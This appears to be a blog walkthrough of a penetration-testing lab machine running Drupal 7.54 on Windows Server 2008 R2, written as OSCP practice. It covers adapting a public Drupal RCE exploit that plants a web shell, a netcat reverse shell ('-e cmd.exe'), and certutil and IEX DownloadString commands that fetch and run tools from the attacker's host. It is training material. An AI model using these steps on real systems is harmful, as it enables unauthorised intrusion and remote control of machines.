Note: In an attempt to be OSCP friendly, NONE of my write ups will utilize Metasploit. Zero. Zip. Tell your friends.

Because change sucks, we’ll start with our same old nMap scan: nmap -sV

So three ports open, let’s see if we can get a little more info but just on the three ports we found: nmap -p 80,134,49154 -A

It looks like Drupal 7 is running behind port 80. We can also see that there is a CHANGELOG.txt file, so let’s navigate to that by bringing up our browser.

Drupal 7.54 is the exact version we’re working with. Cool cool. Let’s see if there’s anything in Searchsploit for that: searchsploit drupal 7

Glancing through this there appears to be a Remote code execution vulnerability for different variants of Drupal 7

Let’s copy that guy to our current directory and take a look at it: cp /usr/share/exploitdb/exploits/php/webapps/41564.php ./exploit.php

Before executing it, we need to read more about it. A little bit of Googling found this article:

It’s a long article, but it’s informative. It looks like within the exploit there are three values we need to update:

The URL is easy enough, that’s the IP of our target. The endpoint path and endpoint we’ll need to enumerate. Back to Gobuster: gobuster dir -u –wordlist=/usr/share/wordlists/dirb/big.txt -s 200,301,302 -o bastard.go –timeout 30s

We can see in the GoBuster results that there is a /rest location, so we’ll add that to our script. We also need to update the file in our script. The default code in there creates a file called dixuSOspsOUU.php and puts a web shell in it, but it’s not one I’m super familiar with. I guess we can give it a shot….so we’ll leave it alone for now.

Thus when it’s all updated it looks like this:

When I tried running the script initially with php exploit.php I was informed there were two #’s missing on line 16 and line 71 for comments. Now, let’s run it again:

It looks like I’m missing the php-curl package. Let’s install it right quick with apt-get install php-curl

And I still get a damn error. So Googling happened. In the php.ini file located in /etc/php/7.3/apache2/php.ini and enabled curl by removing the ; in front of it:

And that still didn’t work..same error. So when I did php -m I didn’t see curl…..

I knew that I had PHP version 7.3 because that’s what showed up when I typed php –version So I removed it: sudo apt-get purge php7.3

Which left me with PHP 7.4 and the curl module showing up:

And this time when I did php exploit.php it appears to have created the necessary files:

Now, when I navigate to the page I couldn’t get the RCE to work….

So I copied my existing file, named it exploit.php and changed the shell

Re-ran that:

Then navigated to to see what we got:

Well that’s some form of success. Now, let’s see if we can get a shell with NetCat.

Windows doesn’t have NetCat installed by default so we’ll have to setup a SMB server on our Kali box. Let’s start with getting nc.exe in the right place:

We’ll start our smb server with the following command impacket-smbserver smb smb

Then let’s try to copy nc.exe from our browser to our Windows target machine with the following: \\\smb\nc.exe nc.exe

Now, we’ll start our NetCat listner on our Kali box:

Then we’ll use our browser to establish our NetCat connection: 1234 -e cmd.exe

Priv Esc

We’ll start with a look at systeminfo

The main thing that stands out here is that we’ve got a Windows Server 2008 R2 machine, that’s 64 bit. Further enumeration showed there aren’t any patches to it. I think we’ll try WinPEAS to further enumerate, but we have to get it on our Windows box first.

WinPEAS can be downloaded here;

I downloaded it and put it in my working folder that I used earlier to get NetCat. Now, we’re going to use certutil to pull it over. I navigated to C:\inetpub\drupal-7.54 so I could copy the file here since I didn’t have write access to C:\Windows\Temp or the user’s desktop (where the user.txt flag is).

Now, let’s get the file: certutil -urlcache -f winpeas.exe

Success. Now let’s run it: ./winpeas.exe

Sum bitch…. WinPEAS also comes as a .bat, so let’s download that off github right quick and pull it over the same way we just did.

And I’ll save you a bunch of time and troubleshooting..couldn’t get WinPEAS to execute on the Windows box. I kept getting a ‘is not recognized as an internal or external command, operable program or batch file’. So on to PowerUp.


I’ve used PowerUp beffore on Chatterbox, so let’s give it a shot again. I just copied it from my Chatterbox directory, but you can also get it from here:

Now, we’ll copy it over to our Windows target machine: certutil -urlcache -f PowerUp.ps1

Copied it over..and tried to run it…same damn error….

So..I tweaked some stuff after doing some research. For starters, I added Invoke-AllChecks to the bottom of the PowerUp.ps1 script. PowerUp is meant to run in PowerShell Empire and the Invoke-AllChecks is started automatically when you run it with Empire. Invoke-AllChecks loads all the functions of the script. So when we add it to the end of our script it’ll do that load for us.

Then, I went back to using the browser and running commands from there. So from here, we’ll pull PowerUp.ps1 from our Kali box and then load it in the browser: IEX(New-Object Net.WebClient).DownloadString(“”) | powershell -noprofile –

It’s going to take a few moments to run, but once it’s finished you should see something like this:

And because that’s super hard to read let’s right click on it and view selection source.

And nothing in here is super helpful….


Leave a Reply

Your email address will not be published. Required fields are marked *